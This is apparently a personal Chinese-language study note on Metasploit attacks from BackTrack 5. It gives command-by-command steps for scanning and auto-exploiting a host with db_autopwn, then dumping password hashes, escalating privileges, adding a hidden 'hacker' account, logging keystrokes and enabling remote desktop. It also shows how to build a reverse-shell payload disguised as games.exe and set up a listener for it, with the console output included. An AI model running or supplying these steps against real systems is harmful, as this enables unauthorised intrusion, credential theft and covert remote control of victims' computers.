bt5 note [5] msf运用层攻击

MSF 图形话界面:armitage

一、连环攻击

      hosts (代替了db_hosts)  （上次扫描的结果放入数据库,可以直接hosts -h查看更多选项）

      hosts -d (db_del_host 192.168.1.104 )  (清空数据库)

      services(代替了 db_services) (查看数据库服务)

     db_nmap

调用nmap来扫描，扫描后的信息保存到数据库，以便于自动攻击      

      db_nmap -T Aggressive -sV -n -o -v 192.168.1.104

           参数说明:

Aggressive 表示速率最快的 

-sV (service & version 判断服务和版本)

-n 不做DNS解析

-v 显示整个扫描结果

 db_autopwn -p -t -I 192.168.1.104 -e 

   稍等会就会执行了 

安装db_autopwn 自动攻击模块 
最新版本的msf没有了自动攻击模块，原因据说是会造成目标主机崩溃！
但很多时候这个功能还是挺方便的~
cd /opt/metasploit/msf3
svn update
下载db_autopwn.rb (http://download.csdn.net/detail/wuhualong1314/4421803)
copy到/opt/metasploit/msf3/plugins
进入msfconsole输入：load db_autopwn
这样就可以还原db_autopwn这一经典利用

如果你的MSF DB_autopwn出错误可以试试这个
#!/bin/sh
export BASE=`dirname $0`
export PATH="${BASE}/bin":$PATH
export LD_LIBRARY_PATH="${BASE}/lib":$LD_LIBRARY_PATH
export GEM_HOME="${BASE}/lib/ruby/gems/1.9.1/gems/"
export GEM_PATH="${BASE}/lib/ruby/gems/1.9.1/gems/"
unset MY_RUBY_HOME
unset RUBY_VERSION
unset RUBY_OPTS
 
"$@"
 
 
 
保存为 *.py 然后执行一下

    参数说明: 

-p 自动根据开发的端口 选择相应的模块

  -t  显示所有的匹配的漏洞模块 

-I  目标主机的范围

       -e 执行 

     

getuid

查看当前的用户

sysinfo

查看系统信息

run hashdump (当前用户必须对HKEY_LOCAL_MACHINE\SAM\SAM有访问权限,script requires the use of a SYSTEM user context (hint: migrate into service process,

但是 使用教主的BT5系统SAM 没有权限也可以 获取 很奇怪 )

获取账号的hash值 以便暴力破解

migrate PID (找到explore.exe这个高的进程 迁移进去 就可以从普通帐户到管理员了, 我现在是没有账号，

但是我现在已经是管理员登录的了，就可以创建一个管理员的账号,但是最好是 把管理员的权限克隆给内建账户 如guest,但是也可以是su hidden)

添加用户 run getgui -u hacker -p 123 (meterpreter下)

keysan_start （键盘扫描）

keyscan_dump （查看键盘输入）

keyscan_stop （停止键盘记录）

run getgui -e（打开远程桌面 : 也就是计算机-属性-高级-允许对方远程桌面连接连接 和 Terminal Services service start）

rdesttop 192.168.1.104 运行远程桌面

ophcrack

暴力破解,专门针对micro的系统

ophcrack -g -d /home/tables_xp_free_small/ -t /home/tables_xp_free_small/ -f /home/sam_value

彩虹表: 

    http://115.com/file/beneym39#tables-xp-free-fast.zip

    http://115.com/file/an8nvq0k#tables-xp-free-small.zip

二、离线攻击

msfpayload

       生成负载 服务器程序 

       =》msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=3333 X > /home/tmp/games.exe

     建立服务器

     

msf > use exploit/multi/handler
msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.107
LHOST => 192.168.0.107
msf  exploit(handler) > set LPORT 3333
LPORT => 3333
msf  exploit(handler) > show optionso
[-] Invalid parameter "optionso", use "show -h" for more information
msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.0.107    yes       The listen address
   LPORT     3333             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > exploit -j

其实就和灰鸽子一个道理 建立反向连接 去控制